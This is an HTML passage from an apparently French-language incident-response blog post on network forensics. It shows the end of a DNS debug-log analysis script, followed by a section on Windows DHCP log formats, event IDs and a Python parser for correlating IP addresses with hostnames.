class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation builtin" style="color:hsl(212, 92%, 35%)">len</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation interpolation">off_hours_queries</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)"> requêtes entre minuit et 5h du matin'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token string" style="color:hsl(139, 66%, 32%)">'severity'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'MEDIUM'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">return</span><span class="token plain"> findings</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> __name__ </span><span class="token operator" style="color:hsl(212, 92%, 35%)">==</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'__main__'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    log_file </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> sys</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">argv</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token number" style="color:hsl(212, 92%, 35%)">1</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">len</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">sys</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">argv</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&gt;</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">1</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">else</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">r'C:\DNSDebugLog\dns.log'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"[*] Analyse du journal de débogage DNS : </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">log_file</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    queries </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> parse_dns_debug_log</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">log_file</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"[*] Trouvé </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation builtin" style="color:hsl(212, 92%, 35%)">len</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation interpolation">queries</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)"> adresses IP client uniques"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    findings </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> detect_lateral_movement_patterns</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">queries</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">not</span><span class="token plain"> findings</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">"[+] Aucun indicateur de mouvement latéral détecté"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">else</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"\n[!] </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation builtin" style="color:hsl(212, 92%, 35%)">len</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation interpolation">findings</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)"> INDICATEURS DÉTECTÉS :\n"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> f </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">sorted</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">findings</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> key</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token keyword" style="color:hsl(356, 75%, 47%)">lambda</span><span class="token plain"> x</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> x</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'severity'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"  [</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">f</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string-interpolation interpolation string" style="color:hsl(139, 66%, 32%)">'severity'</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">] </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">f</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string-interpolation interpolation string" style="color:hsl(139, 66%, 32%)">'client_ip'</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">: </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">f</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string-interpolation interpolation string" style="color:hsl(139, 66%, 32%)">'indicator'</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"         </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">f</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string-interpolation interpolation string" style="color:hsl(139, 66%, 32%)">'detail'</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">\n"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-3--forensique-des-journaux-dhcp--la-colonne-vertébrale-didentité-ip">Partie 3  Forensique des Journaux DHCP : La Colonne Vertébrale d'Identité IP<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#partie-3--forensique-des-journaux-dhcp--la-colonne-vert%C3%A9brale-didentit%C3%A9-ip" class="hash-link" aria-label="Direct link to Partie 3  Forensique des Journaux DHCP : La Colonne Vertébrale d'Identité IP" title="Direct link to Partie 3  Forensique des Journaux DHCP : La Colonne Vertébrale d'Identité IP" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="31-pourquoi-les-journaux-dhcp-sont-essentiels-pour-lir-réseau">3.1 Pourquoi les Journaux DHCP Sont Essentiels pour l'IR Réseau<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#31-pourquoi-les-journaux-dhcp-sont-essentiels-pour-lir-r%C3%A9seau" class="hash-link" aria-label="Direct link to 3.1 Pourquoi les Journaux DHCP Sont Essentiels pour l'IR Réseau" title="Direct link to 3.1 Pourquoi les Journaux DHCP Sont Essentiels pour l'IR Réseau" translate="no">​</a></h3>
<p>Dans toute investigation active, vous rencontrerez fréquemment des adresses IP dans NetFlow, les journaux de requêtes DNS et les journaux d'authentification sans contexte de nom d'hôte. Sans corrélation DHCP, <code>10.10.5.42</code> est sans signification. Avec les journaux DHCP, <code>10.10.5.42</code> devient <code>LAPTOP-JSMITH</code> avec l'adresse MAC <code>00:1A:2B:3C:4D:5E</code>  corrélant immédiatement à un utilisateur et un appareil spécifiques dans votre inventaire des actifs.</p>
<p>Les journaux DHCP sont la <strong>couche de traduction IP-vers-identité</strong> qui rend toutes les autres données forensiques réseau exploitables.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="32-format-des-journaux-du-serveur-dhcp-windows">3.2 Format des Journaux du Serveur DHCP Windows<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#32-format-des-journaux-du-serveur-dhcp-windows" class="hash-link" aria-label="Direct link to 3.2 Format des Journaux du Serveur DHCP Windows" title="Direct link to 3.2 Format des Journaux du Serveur DHCP Windows" translate="no">​</a></h3>
<p>Le serveur DHCP Windows maintient des fichiers journaux rotatifs quotidiens à :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">C:\Windows\System32\dhcp\DhcpSrvLog-Mon.log</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">C:\Windows\System32\dhcp\DhcpSrvLog-Tue.log</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">...</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">C:\Windows\System32\dhcp\DhcpSrvLog-Sun.log</span><br></span></code></pre></div></div>
<p>Chaque ligne est au format CSV :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">ID,Date,Time,Description,IP Address,Host Name,MAC Address,User Name,...</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">10,11/15/25,02:31:04,Assign,10.10.5.42,LAPTOP-JSMITH,00-1A-2B-3C-4D-5E,,0...</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">11,11/15/25,02:31:04,Renew,10.10.5.42,LAPTOP-JSMITH,00-1A-2B-3C-4D-5E,,0...</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">12,11/15/25,10:44:17,Release,10.10.5.42,LAPTOP-JSMITH,00-1A-2B-3C-4D-5E,,0...</span><br></span></code></pre></div></div>
<p><strong>Identifiants d'événements clés dans les journaux DHCP :</strong></p>
<table><thead><tr><th>ID</th><th>Description</th><th>Signification Forensique</th></tr></thead><tbody><tr><td>10</td><td>Assign</td><td>Nouveau bail  l'appareil est apparu sur le réseau à ce moment</td></tr><tr><td>11</td><td>Renew</td><td>Renouvellement de bail  appareil toujours actif</td></tr><tr><td>12</td><td>Release</td><td>Le client a libéré l'IP proprement  arrêt normal</td></tr><tr><td>13</td><td>DNS Update</td><td>DHCP a enregistré l'enregistrement DNS A au nom du client</td></tr><tr><td>14</td><td>DNS Update Failed</td><td>Mise à jour DNS dynamique échouée  peut indiquer une manipulation DNS</td></tr><tr><td>15</td><td>Lease Expired</td><td>Le client s'est déconnecté sans libérer  crash, déconnexion abrupte</td></tr><tr><td>24</td><td>IP Address in Use</td><td>Conflit  potentiellement IP statique non autorisée ou MAC usurpée</td></tr><tr><td>25</td><td>IP Address Deleted</td><td>Bail supprimé manuellement par l'admin</td></tr><tr><td>50-59</td><td>Équivalents IPv6</td><td>Mêmes sémantiques, adresses IPv6</td></tr></tbody></table>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="33-analyse-des-journaux-dhcp-pour-la-corrélation-ip-vers-hôte">3.3 Analyse des Journaux DHCP pour la Corrélation IP-vers-Hôte<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#33-analyse-des-journaux-dhcp-pour-la-corr%C3%A9lation-ip-vers-h%C3%B4te" class="hash-link" aria-label="Direct link to 3.3 Analyse des Journaux DHCP pour la Corrélation IP-vers-Hôte" title="Direct link to 3.3 Analyse des Journaux DHCP pour la Corrélation IP-vers-Hôte" translate="no">​</a></h3>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic">#!/usr/bin/env python3</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">"""</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">Analyser tous les fichiers journaux du serveur DHCP Windows dans un répertoire.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">Construit un mappage IP-vers-nom d'hôte temporellement conscient pour la corrélation</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">avec d'autres artefacts forensiques pendant la réponse aux incidents.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">"""</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">import</span><span class="token plain"> os</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">import</span><span class="token plain"> csv</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">import</span><span class="token plain"> glob</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">from</span><span class="token plain"> datetime </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">import</span><span class="token plain"> datetime</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">from</span><span class="token plain"> collections </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">import</span><span class="token plain"> defaultdict</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">DHCP_EVENT_TYPES </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'10'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'Assign'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'11'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'Renew'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'12'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'Release'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'13'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'DNS_Update'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'14'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'DNS_Update_Failed'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'15'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'Lease_Expired'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'24'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'IP_Conflict'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'25'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'Lease_Deleted'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">def</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">parse_dhcp_logs</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">log_dir</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">"""</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">    Analyser tous les fichiers DhcpSrvLog-*.log dans le répertoire.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">    Retourne une liste d'événements de bail triés par horodatage.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">    """</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    events </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    log_files </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> glob</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">glob</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">os</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">path</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">join</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">log_dir</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'DhcpSrvLog-*.log'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> log_file </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> log_files</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">with</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">open</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">log_file</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'r'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> encoding</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token string" style="color:hsl(139, 66%, 32%)">'utf-8'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> errors</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token string" style="color:hsl(139, 66%, 32%)">'replace'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">as</span><span class="token plain"> f</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> line </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> f</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                line </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> line</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">strip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Ignorer les en-têtes et commentaires</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">not</span><span class="token plain"> line </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">or</span><span class="token plain"> line</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">startswith</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'ID'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token 